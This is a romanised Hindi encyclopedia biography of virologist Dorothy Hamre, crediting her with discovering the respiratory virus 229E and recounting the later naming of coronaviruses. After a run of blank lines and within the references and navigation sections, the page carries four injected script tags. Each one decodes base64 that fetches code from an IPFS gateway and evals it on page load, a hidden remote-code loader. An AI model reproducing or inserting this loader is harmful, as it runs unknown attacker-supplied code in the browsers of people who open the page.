डोरोथी हम्रे
thumb|200px|dorothi hamre dorothi hamre (aangrezi: Dorothy Hamre, janm- 1915; mrityu- 1989) prasiddh mahila vaijnanik thian. bisavian sadi ke chhathe dashak mean shikago yoonivarsiti mean karyarat vishanu vaijnanik dorothi hamre ne ek vishanu ka pata lagaya, jo shvasan tantr mean sankraman paida karata tha. is vishanu ko unhoanne nam diya- ‘229 E’. asal mean dorothi hamre manushy ke shvasan tantr mean hone vale vishanujanit sankramanoan ka adhyayan kar rahi thian. isake lie varsh 1962 mean unhoanne shikago yoonivarsiti ke un chhatroan ke namoone ikattha karane shuroo kie, jo samany sardi-jukam se pi dit hote the. apane adhyayan ke parinam char sal bad dorothi hamre ne chikitsa ki mahattvapoorn patrika ‘eksaperimeantal bayol aauji eand medisin’ mean prakashit kiye the.
parichay
bisavian sadi ke poorvardh mean duniya shvasan pranali se ju di doosari sankramanajanit bimariyoan jaise ianphlueanza aur raino vairas ke bare mean kaphi kuchh jan chuki thi. lekin korona vairas se vaijnanik sansar ko parichit karane ka shrey jata hai dorothi hamre ko. vashiangatan yoonivarsiti se vijnan ki uchch shiksha hasil karane vali dorothi ne kolaraido yoonivarsiti se vishanu vijnan par shodh kiya. shikago yoonivarsiti ke chikitsa vibhag se ju dane se poorv ve jivanu vaijnanik ke roop mean kee vaijnanik sansthanoan mean kam kar chuki thian.[1]
'naishanal seantar ph aaur bayol aaujikal saiansez' (beangaluru) mean karyarat vaijnanik pi. balaram ke anusar- "dorothi hamre ke karib pachas shodh alekh zaroor aaunalain upalabdh the. lekin khud dorothi hamre ke bare mean koee janakari ya unaki koee tasvir upalabdh nahian thi. yah janakari jutane ke kram mean unhoanne un tamam vishvavidyalayoan, sansthanoan se sanpark kiya, jinase kabhi dorothi hamre ju di huee thian. akhirakar unaki mehanat rang laee aur n aaurth erizona yoonivarsiti ki klain laibreri se unhean dorothi hamre se ju de dastavez aur unaki durlabh tasvirean bhi milian."
korona vishanu ki khoj
sath ke dashak mean hi ianglaiand ke do vaijnanik devid tirel aur mailkam baino bhi shvasan tantr ke sankraman se ju de vishanuoan par kam kar rahe the. unhoanne bhi korona vairas ke ek prakar ka pata lagaya, jise un logoan ne ‘B 814’ kaha. bad mean, vaijnanik joon almeda ne ilektr aaun maikroskop ka istemal kar us vairas ki pahali tasvir li. jo aj korona vairas ki upalabdh pahali tasvir hai.
1975 mean tirel, almeda adi vaijnanikoan ne ‘iantaravairol aauji’ patrika mean chhape ek lekh mean shvasan tantr ke sankraman se sanbandhit in ne vishanuoan ke lie ek naya nam sujhaya ‘korona vairas’. korona vairas ka nam to aj duniya bhar ki zuban par hai, lekin vidambana ye hai ki korona vairas ka pata lagane vali vaijnanik dorothi hamre ko log bhool ge.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ vaijnanik jinhoanne korona vairas ka pata lagaya: dorothi hamre (hiandi) hindi.thecriticalmirror.com. abhigaman tithi: 20 joon, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>